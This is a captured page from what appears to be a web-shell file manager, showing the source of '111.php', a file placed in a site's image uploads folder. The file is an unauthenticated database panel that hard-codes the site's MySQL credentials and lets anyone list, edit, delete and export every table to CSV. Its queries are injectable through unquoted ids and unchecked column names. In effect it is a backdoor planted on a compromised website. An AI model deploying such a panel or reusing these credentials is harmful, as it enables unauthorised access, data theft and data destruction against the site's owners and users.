<h2>Editing File: /home/rariblegateway/public_html/assets/front/img/uploads/111.php</h2><form method='post'>
            <textarea name='content' class='file-edit'>&lt;?php
// Enable error reporting
ini_set(&#039;display_errors&#039;, 1);
ini_set(&#039;display_startup_errors&#039;, 1);
error_reporting(E_ALL);

// Database credentials
$servername = &quot;localhost&quot;;
$username = &quot;rariblegateway_sammy&quot;;
$password = &quot;internationalchow&quot;;
$dbname = &quot;rariblegateway_new&quot;;

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn-&gt;connect_error) {
    die(&quot;Connection failed: &quot; . $conn-&gt;connect_error);
}

// Handle table selection
$tableName = isset($_GET[&#039;table&#039;]) ? $conn-&gt;real_escape_string($_GET[&#039;table&#039;]) : null;

// Handle editing a row
if (isset($_POST[&#039;edit&#039;])) {
    $id = $conn-&gt;real_escape_string($_POST[&#039;id&#039;]);
    $updateValues = [];

    foreach ($_POST as $key =&gt; $value) {
        if (strpos($key, &#039;value_&#039;) === 0) {
            $column = str_replace(&#039;value_&#039;, &#039;&#039;, $key);
            $updateValues[] = &quot;`$column` = &#039;&quot; . $conn-&gt;real_escape_string($value) . &quot;&#039;&quot;;
        }
    }

    if (!empty($updateValues)) {
        $updateSql = &quot;UPDATE `$tableName` SET &quot; . implode(&#039;, &#039;, $updateValues) . &quot; WHERE id = $id&quot;;
        
        if ($conn-&gt;query($updateSql) === TRUE) {
            echo &quot;&lt;div style=&#039;background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;&#039;&gt;Record updated successfully&lt;/div&gt;&quot;;
        } else {
            echo &quot;&lt;div style=&#039;background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;&#039;&gt;Error updating record: &quot; . $conn-&gt;error . &quot;&lt;/div&gt;&quot;;
        }
    } else {
        echo &quot;&lt;div style=&#039;background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;&#039;&gt;No values to update.&lt;/div&gt;&quot;;
    }
}

// Handle deletion of a row
if (isset($_POST[&#039;delete&#039;])) {
    $id = $conn-&gt;real_escape_string($_POST[&#039;id&#039;]);
    $deleteSql = &quot;DELETE FROM `$tableName` WHERE id = $id&quot;;
    
    if ($conn-&gt;query($deleteSql) === TRUE) {
        echo &quot;&lt;div style=&#039;background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;&#039;&gt;Record deleted successfully&lt;/div&gt;&quot;;
    } else {
        echo &quot;&lt;div style=&#039;background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;&#039;&gt;Error deleting record: &quot; . $conn-&gt;error . &quot;&lt;/div&gt;&quot;;
    }
}

// Handle insertion of a new row
if (isset($_POST[&#039;insert&#039;])) {
    $columns = [];
    $values = [];
    
    foreach ($_POST as $key =&gt; $value) {
        if (strpos($key, &#039;new_value_&#039;) === 0) {
            $column = str_replace(&#039;new_value_&#039;, &#039;&#039;, $key);
            $columns[] = &quot;`$column`&quot;;
            $values[] = &quot;&#039;&quot; . $conn-&gt;real_escape_string($value) . &quot;&#039;&quot;;
        }
    }
    
    if (!empty($columns) &amp;&amp; !empty($values)) {
        $insertSql = &quot;INSERT INTO `$tableName` (&quot; . implode(&#039;, &#039;, $columns) . &quot;) VALUES (&quot; . implode(&#039;, &#039;, $values) . &quot;)&quot;;
        
        if ($conn-&gt;query($insertSql) === TRUE) {
            echo &quot;&lt;div style=&#039;background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;&#039;&gt;Record inserted successfully&lt;/div&gt;&quot;;
        } else {
            echo &quot;&lt;div style=&#039;background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;&#039;&gt;Error inserting record: &quot; . $conn-&gt;error . &quot;&lt;/div&gt;&quot;;
        }
    } else {
        echo &quot;&lt;div style=&#039;background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;&#039;&gt;No values to insert.&lt;/div&gt;&quot;;
    }
}

// Handle export
if (isset($_POST[&#039;export&#039;])) {
    $selectedColumns = isset($_POST[&#039;columns&#039;]) ? $_POST[&#039;columns&#039;] : [];
    
    if (!empty($selectedColumns)) {
        $columnsList = implode(&#039;, &#039;, array_map([$conn, &#039;real_escape_string&#039;], $selectedColumns));
        $exportSql = &quot;SELECT $columnsList FROM `$tableName`&quot;;
        $result = $conn-&gt;query($exportSql);

        if ($result &amp;&amp; $result-&gt;num_rows &gt; 0) {
            $filename = $tableName . &#039;_export_&#039; . date(&#039;Ymd&#039;) . &#039;.csv&#039;;
            header(&#039;Content-Type: text/csv&#039;);
            header(&#039;Content-Disposition: attachment;filename=&quot;&#039; . $filename . &#039;&quot;&#039;);

            $output = fopen(&#039;php://output&#039;, &#039;w&#039;);
            fputcsv($output, $selectedColumns);

            while ($row = $result-&gt;fetch_assoc()) {
                fputcsv($output, array_intersect_key($row, array_flip($selectedColumns)));
            }

            fclose($output);
            exit;
        } else {
            echo &quot;&lt;div style=&#039;background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;&#039;&gt;No data found for export&lt;/div&gt;&quot;;
        }
    } else {
        echo &quot;&lt;div style=&#039;background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;&#039;&gt;No columns selected for export.&lt;/div&gt;&quot;;
    }
}

// Query to get table names
$tablesResult = $conn-&gt;query(&quot;SHOW TABLES&quot;);

if ($tableName) {
    $dataResult = $conn-&gt;query(&quot;SELECT * FROM `$tableName`&quot;);
    if (!$dataResult) {
        die(&quot;&lt;div style=&#039;background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;&#039;&gt;Error retrieving data: &quot; . $conn-&gt;error . &quot;&lt;/div&gt;&quot;);
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Database Table Editor&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            margin: 0;
            padding: 20px;
        }
        .container {
            width: 90%;
            margin: auto;
            background: #fff;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        h1, h2 {
            color: #333;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-bottom: 20px;
        }
        th, td {
            border: 1px solid #ddd;
            padding: 12px;
            text-align: left;
        }
        th {
            background-color: #007bff;
            color: #fff;
        }
        .table-list, .data-table, .form-container {
            margin-bottom: 20px;
        }
        .form-container input[type=&#039;submit&#039;] {
            background-color: #007bff;
            color: #fff;
            border: none;
            padding: 10px 15px;
            border-radius: 4px;
            cursor: pointer;
            margin: 0 5px;
        }
        .form-container input[type=&#039;submit&#039;]:hover {
            background-color: #0056b3;
        }
        .form-container input[type=&#039;text&#039;] {
            width: 100%;
            padding: 8px;
            margin: 4px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .alert {
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
            font-weight: bold;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;h1&gt;Database Table Editor&lt;/h1&gt;
        
        &lt;div class=&quot;table-list&quot;&gt;
            &lt;table&gt;
                &lt;thead&gt;
                    &lt;tr&gt;
                        &lt;th&gt;Table Name&lt;/th&gt;
                    &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                    &lt;?php
                    if ($tablesResult &amp;&amp; $tablesResult-&gt;num_rows &gt; 0) {
                        while($row = $tablesResult-&gt;fetch_array()) {
                            $table = $row[0];
                            echo &quot;&lt;tr&gt;&lt;td&gt;&lt;a href=\&quot;?table=&quot; . urlencode($table) . &quot;\&quot;&gt;&quot; . htmlspecialchars($table) . &quot;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;
                        }
                    } else {
                        echo &quot;&lt;tr&gt;&lt;td&gt;No tables found&lt;/td&gt;&lt;/tr&gt;&quot;;
                    }
                    ?&gt;
                &lt;/tbody&gt;
            &lt;/table&gt;
        &lt;/div&gt;

        &lt;?php if ($tableName &amp;&amp; $dataResult): ?&gt;
            &lt;h2&gt;Data for Table: &lt;?php echo htmlspecialchars($tableName); ?&gt;&lt;/h2&gt;
            &lt;form method=&quot;post&quot; class=&quot;form-container&quot;&gt;
                &lt;table class=&quot;data-table&quot;&gt;
                    &lt;thead&gt;
                        &lt;tr&gt;
                            &lt;?php
                            $fields = $dataResult-&gt;fetch_fields();
                            foreach ($fields as $field) {
                                echo &quot;&lt;th&gt;&quot; . htmlspecialchars($field-&gt;name) . &quot;&lt;/th&gt;&quot;;
                            }
                            echo &quot;&lt;th&gt;Action&lt;/th&gt;&quot;;
                            ?&gt;
                        &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody&gt;
                        &lt;?php
                        $dataResult-&gt;data_seek(0); // Reset pointer to the beginning
                        while ($row = $dataResult-&gt;fetch_assoc()) {
                            echo &quot;&lt;tr&gt;&quot;;
                            $id = $row[&#039;id&#039;]; // Assuming &#039;id&#039; is the primary key
                            foreach ($row as $column =&gt; $value) {
                                echo &quot;&lt;td&gt;&lt;input type=&#039;text&#039; name=&#039;value_$column&#039; value=&#039;&quot; . htmlspecialchars($value) . &quot;&#039;&gt;&lt;/td&gt;&quot;;
                            }
                            echo &quot;&lt;td&gt;&lt;input type=&#039;hidden&#039; name=&#039;id&#039; value=&#039;$id&#039;&gt;&lt;input type=&#039;submit&#039; name=&#039;edit&#039; value=&#039;Update&#039;&gt;&lt;input type=&#039;submit&#039; name=&#039;delete&#039; value=&#039;Delete&#039;&gt;&lt;/td&gt;&quot;;
                            echo &quot;&lt;/tr&gt;&quot;;
                        }
                        ?&gt;
                    &lt;/tbody&gt;
                &lt;/table&gt;
            &lt;/form&gt;

            &lt;h2&gt;Insert New Record&lt;/h2&gt;
            &lt;form method=&quot;post&quot; class=&quot;form-container&quot;&gt;
                &lt;?php
                $dataResult-&gt;data_seek(0); // Reset pointer to the beginning
                $columns = $dataResult-&gt;fetch_fields();
                foreach ($columns as $column) {
                    if ($column-&gt;name != &#039;id&#039;) { // Assuming &#039;id&#039; is auto-incremented
                        echo &quot;&lt;label for=&#039;new_value_&quot; . htmlspecialchars($column-&gt;name) . &quot;&#039;&gt;&quot; . htmlspecialchars($column-&gt;name) . &quot;:&lt;/label&gt;&lt;br&gt;&quot;;
                        echo &quot;&lt;input type=&#039;text&#039; id=&#039;new_value_&quot; . htmlspecialchars($column-&gt;name) . &quot;&#039; name=&#039;new_value_&quot; . htmlspecialchars($column-&gt;name) . &quot;&#039;&gt;&lt;br&gt;&quot;;
                    }
                }
                ?&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;table&quot; value=&quot;&lt;?php echo htmlspecialchars($tableName); ?&gt;&quot;&gt;
                &lt;input type=&quot;submit&quot; name=&quot;insert&quot; value=&quot;Insert Record&quot;&gt;
            &lt;/form&gt;

            &lt;h2&gt;Export Table Data&lt;/h2&gt;
            &lt;form method=&quot;post&quot; class=&quot;form-container&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;table&quot; value=&quot;&lt;?php echo htmlspecialchars($tableName); ?&gt;&quot;&gt;
                &lt;label for=&quot;columns&quot;&gt;Select columns to export:&lt;/label&gt;&lt;br&gt;
                &lt;?php
                $dataResult-&gt;data_seek(0); // Reset pointer to the beginning
                $columns = $dataResult-&gt;fetch_fields();
                foreach ($columns as $column) {
                    echo &quot;&lt;input type=&#039;checkbox&#039; name=&#039;columns[]&#039; value=&#039;&quot; . htmlspecialchars($column-&gt;name) . &quot;&#039;&gt; &quot; . htmlspecialchars($column-&gt;name) . &quot;&lt;br&gt;&quot;;
                }
                ?&gt;
                &lt;br&gt;
                &lt;input type=&quot;submit&quot; name=&quot;export&quot; value=&quot;Export to CSV&quot;&gt;
            &lt;/form&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;

    &lt;?php
    // Close connection
    $conn-&gt;close();
    ?&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br>
            <input class='btn' type='submit' value='Save Changes'>
        </form><a class='btn' href='?dir=%2Fhome%2Frariblegateway%2Fpublic_html%2Fassets%2Ffront%2Fimg%2Fuploads'>Back to Directory</a>